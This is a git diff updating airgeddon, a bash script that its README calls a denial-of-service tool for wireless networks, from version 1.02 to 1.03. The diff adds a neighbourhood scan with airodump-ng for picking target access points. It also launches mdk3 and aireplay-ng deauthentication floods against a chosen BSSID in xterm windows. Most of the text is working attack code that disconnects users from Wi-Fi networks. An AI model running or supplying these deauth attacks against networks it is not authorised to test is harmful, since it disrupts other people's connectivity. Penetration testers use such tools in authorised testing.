diff --git a/README.md b/README.md index 718d9d777..68332a673 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ #airgeddon -Version 1.02
+Version 1.03
This is a DoS (Denial of Service) script for wireless networks.
#Requirements @@ -27,4 +27,9 @@ Rfkill added
1.02
Improved echo messages and colors
aireplay deauth attack included
-monitor and managed options added
\ No newline at end of file +monitor and managed options added
+
+1.03
+Secondary xterm windows added
+Explore neighbourhood feature included
+Code improvements
\ No newline at end of file diff --git a/airgeddon.sh b/airgeddon.sh index 07330017f..d9595a155 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1,10 +1,10 @@ #!/bin/bash -version="1.02" +version="1.03" function check_to_set_managed() { - if [ "$distro" == "Kali" ]; then + if [ "$distro" = "Kali" ]; then nowifi=`iwconfig $interface 2> /dev/null` if [[ "$?" != "0" ]]; then echo @@ -24,7 +24,7 @@ function check_to_set_managed() { mode=`iwconfig $interface | grep Mode: | cut -d ':' -f 2|cut -d ' ' -f 1` - if [[ $mode == "Managed" ]]; then + if [[ $mode = "Managed" ]]; then echo echo_yellow "This interface $interface is already in managed mode" read -p "Press [Enter] key to continue..." @@ -35,7 +35,7 @@ function check_to_set_managed() { function check_to_set_monitor() { - if [ "$distro" == "Kali" ]; then + if [ "$distro" = "Kali" ]; then nowifi=`iwconfig $interface 2> /dev/null` if [[ "$?" != "0" ]]; then echo @@ -55,7 +55,7 @@ function check_to_set_monitor() { mode=`iwconfig $interface 2> /dev/null | grep Mode: | awk '{print $4}'` - if [[ $mode == "Mode:Monitor" ]]; then + if [[ $mode = "Mode:Monitor" ]]; then echo echo_yellow "This interface $interface is already in monitor mode" read -p "Press [Enter] key to continue..." @@ -98,7 +98,7 @@ function managed_option() { echo_blue "Putting your interface in managed mode..." ifconfig $interface up - if [ "$distro" == "Kali" ]; then + if [ "$distro" = "Kali" ]; then new_interface=$(airmon-ng stop $interface | grep station | cut -d ']' -f 2) new_interface=${new_interface:: -1} else @@ -139,7 +139,7 @@ function monitor_option() { airmon-ng check kill > /dev/null 2>&1 - if [ "$distro" == "Kali" ]; then + if [ "$distro" = "Kali" ]; then new_interface=$(airmon-ng start $interface | grep monitor | cut -d ']' -f 3) else new_interface=$(airmon-ng start $interface | grep monitor | awk '{print $5}') @@ -181,7 +181,7 @@ function select_interface() { for item2 in $ifaces do option_counter2=$[option_counter2 + 1] - if [[ "$iface" == "$option_counter2" ]]; then + if [[ "$iface" = "$option_counter2" ]]; then interface=$item2 break; fi @@ -216,10 +216,10 @@ function read_bssid() { function ask_bssid() { while [[ ! ${bssid} =~ ^([a-fA-F0-9]{2}:){5}[a-zA-Z0-9]{2}$ ]]; do - read_bssid - done - echo - echo_yellow "BSSID set to ${bssid}" + read_bssid + done + echo + echo_yellow "BSSID set to ${bssid}" } function exec_mdk3deauth() { @@ -228,12 +228,13 @@ function exec_mdk3deauth() { echo_red "*********************************Mdk3 action************************************" echo_green "All parameters set" - echo $bssid > /tmp/bl + rm /tmp/bl.txt > /dev/null 2>&1 + echo $bssid > /tmp/bl.txt echo - echo_blue "Starting mdk3 deauth attack. Kicking asses!! press Ctrl+C to stop..." - sleep 1 - mdk3 $interface d -b /tmp/bl -c $channel + echo_blue "Starting attack. When started, press Ctrl+C to stop..." + read -p "Press [Enter] key to start attack..." + xterm +j -sb -rightbar -geometry 119x35+350+350 -T "mdk3 attack" -e mdk3 $interface d -b /tmp/bl.txt -c $channel } function exec_aireplaydeauth() { @@ -245,10 +246,9 @@ function exec_aireplaydeauth() { airmon-ng start $interface $channel > /dev/null 2>&1 echo - echo_blue "Starting aireplay deauth attack. Die mothafucka's, die!! press Ctrl+C to stop..." - sleep 1 - aireplay-ng --deauth 0 -a $bssid --ignore-negative-one $interface - + echo_blue "Starting attack. When started, press Ctrl+C to stop..." + read -p "Press [Enter] key to start attack..." + xterm +j -sb -rightbar -geometry 119x35+350+350 -T "aireplay attack" -e aireplay-ng --deauth 0 -a $bssid --ignore-negative-one $interface } function mdk3_deauth_option() { @@ -263,7 +263,7 @@ function mdk3_deauth_option() { fi echo - echo_yellow "Selected interface $interface is in monitor mode. Attack can be done" + echo_yellow "Selected interface $interface is in monitor mode. Attack can be performed" ask_bssid ask_channel @@ -282,31 +282,51 @@ function aireplay_deauth_option() { fi echo - echo_yellow "Selected interface $interface is in monitor mode. Attack can be done" + echo_yellow "Selected interface $interface is in monitor mode. Attack can be performed" ask_bssid ask_channel exec_aireplaydeauth } +function print_selections() { + + echo_blue "Interface $interface selected" + if [ -n "$bssid" ]; then + echo_blue "Selected BSSID: $bssid" + if [ -n "$channel" ]; then + echo_blue "Selected Channel: $channel" + fi + if [ -n "$essid" ]; then + if [ "$essid" = "(Hidden Network)" ]; then + echo_blue "Selected ESSID: $essid <- can't be used" + else + echo_blue "Selected ESSID: $essid" + fi + fi + + fi +} + function menu_options() { clear echo_red "*****************************airgeddon script menu********************************" - echo_blue "Interface $interface selected" + print_selections echo echo_green "Select your option from menu :" echo "---------" echo "1. Select another network interface" + echo "2. Explore neighbourhood (info window) for targets (monitor mode needed)" echo "---------" - echo "2. Deauthentication / Disassociation mdk3 attack (monitor mode needed)" - echo "3. Deauthentication aireplay attack (monitor mode needed)" + echo "3. Deauthentication / Disassociation mdk3 attack (monitor mode needed)" + echo "4. Deauthentication aireplay attack (monitor mode needed)" echo "---------" - echo "4. Put interface in monitor mode" - echo "5. Put interface in managed mode" + echo "5. Put interface in monitor mode" + echo "6. Put interface in managed mode" echo "---------" - echo "6. Credits & About" - echo "7. Exit script" + echo "7. Credits & About" + echo "8. Exit script" read option if [ -z $option ]; then @@ -316,24 +336,28 @@ function menu_options() { select_interface else if [ $option -eq 2 ]; then - mdk3_deauth_option + explore_neighbourhood_option else if [ $option -eq 3 ]; then - aireplay_deauth_option + mdk3_deauth_option else if [ $option -eq 4 ]; then - monitor_option + aireplay_deauth_option else if [ $option -eq 5 ]; then - managed_option + monitor_option else if [ $option -eq 6 ]; then - credits_option + managed_option else if [ $option -eq 7 ]; then - exit_script_option - else - invalid_menu_option + credits_option + + else if [ $option -eq 8 ]; then + exit_script_option + else + invalid_menu_option + fi fi fi fi @@ -346,6 +370,147 @@ function menu_options() { menu_options } +function explore_neighbourhood_option() { + + echo + echo_red "***************************Exploring Neighbourhood******************************" + echo_green "Exploring Neighbourhood option chosen (monitor mode needed)" + + check_monitor_enabled + if [ "$?" != "0" ]; then + return + fi + + echo + echo_yellow "Selected interface $interface is in monitor mode. Exploration can be performed" + echo + echo_blue "When started, press Ctrl+C to stop..." + + read -p "Press [Enter] key to continue..." + rm /tmp/nws* > /dev/null 2>&1 + rm /tmp/clts.csv > /dev/null 2>&1 + xterm +j -sb -rightbar -geometry 119x35+350+350 -T "Exploring neighbourhood" -e airodump-ng -w /tmp/nws $interface + targetline=`cat /tmp/nws-01.csv | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` + targetline=`expr $targetline - 1` + + head -n $targetline /tmp/nws-01.csv &> /tmp/nws.csv + tail -n +$targetline /tmp/nws-01.csv &> /tmp/clts.csv + #clear + csvline=`wc -l /tmp/nws.csv | awk '{print $1}'` + if [ $csvline -le 3 ]; then + echo + echo_yellow "No networks found" + read -p "Press [Enter] key to continue..." + return + fi + + rm /tmp/nws.txt > /dev/null 2>&1 + rm /tmp/wnws.txt > /dev/null 2>&1 + i=0 + while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY; do + + chars_mac=${#MAC} + if [ $chars_mac -ge 17 ]; then + i=$(($i+1)) + if [[ $POWER -lt 0 ]]; then + if [[ $POWER -eq -1 ]]; then + POWER=0 + else + POWER=`expr $POWER + 100` + fi + fi + + POWER=`echo $POWER | awk '{gsub(/ /,""); print}'` + ESSID=`expr substr "$ESSID" 2 $IDLENGTH` + if [ $CHANNEL -gt 14 ] || [ $CHANNEL -lt 1 ]; then + CHANNEL=0 + else + CHANNEL=`echo $CHANNEL | awk '{gsub(/ /,""); print}'` + fi + + if [ "$ESSID" = "" ] || [ "$CHANNEL" = "-1" ]; then + ESSID="(Hidden Network)" + fi + echo -e "$MAC,$CHANNEL,$POWER,$ESSID" >> /tmp/nws.txt + fi + done < /tmp/nws.csv + sort -t "," -d -k 4 "/tmp/nws.txt" > "/tmp/wnws.txt" + select_target +} + +function select_target() { + + clear + echo_red "*******************************Select target************************************" + echo " N. BSSID CHANNEL PWR ESSID" + echo_blue "-------------------------------------------------------" + i=0 + while IFS=, read MAC CHANNEL POWER ESSID; do + + i=$(($i+1)) + + if [ $i -le 9 ]; then + SPACE1=" " + else + SPACE1="" + fi + + if [[ $CHANNEL -le 9 ]]; then + SPACE2=" " + if [[ $CHANNEL -eq 0 ]]; then + CHANNEL="-" + fi + else + SPACE2="" + fi + + if [[ "$POWER" = "" ]]; then + POWER=0 + fi + + if [[ $POWER -le 9 ]]; then + SPACE4=" " + else + SPACE4="" + fi + + CLIENT=`cat /tmp/clts.csv | grep $MAC` + if [ "$CLIENT" != "" ]; then + CLIENT="*" + SPACE5="" + else + SPACE5=" " + fi + + network_names[$i]=$ESSID + channels[$i]=$CHANNEL + macs[$i]=$MAC + echo -e " $SPACE1$i)$CLIENT $SPACE5$MAC $SPACE2$CHANNEL $SPACE4$POWER% $ESSID" + done < "/tmp/wnws.txt" + echo + if [ $i -eq 1 ]; then + echo_yellow "Only one target detected. Autoselected" + select=1 + read -p "Press [Enter] key to continue..." + else + echo "(*) Network with clients" + echo_blue "-------------------------------------------------------" + echo + read -p "Select target network : " select + fi + + while [[ $select -lt 1 ]] || [[ $select -gt $i ]]; do + echo + echo_yellow "Invalid target network was chosen" + echo + read -p "Select target network : " select + done + + essid=${network_names[$select]} + channel=${channels[$select]} + bssid=${macs[$select]} +} + function credits_option() { clear @@ -369,7 +534,7 @@ function credits_option() { echo " | |" echo echo_blue "This script is under GPLv2 (or later) License." - echo_blue "Thank you to the \"Spanish pen testing crew\" for beta testing and support received." + echo_blue "Thanks to the \"Spanish pen testing crew\" for beta testing and support received." read -p "Press [Enter] key to continue..." } @@ -402,7 +567,7 @@ function exit_script_option() { function detect_distro() { uname -a | grep kali > /dev/null - if [ "$?" == "0" ]; then + if [ "$?" = "0" ]; then echo_yellow "Kali Linux distro detected. Script can continue..." distro="Kali" echo @@ -410,7 +575,7 @@ function detect_distro() { fi uname -a | grep wifislax > /dev/null - if [ "$?" == "0" ]; then + if [ "$?" = "0" ]; then echo_yellow "Wifislax Linux distro detected. Script can continue..." distro="Wifislax" echo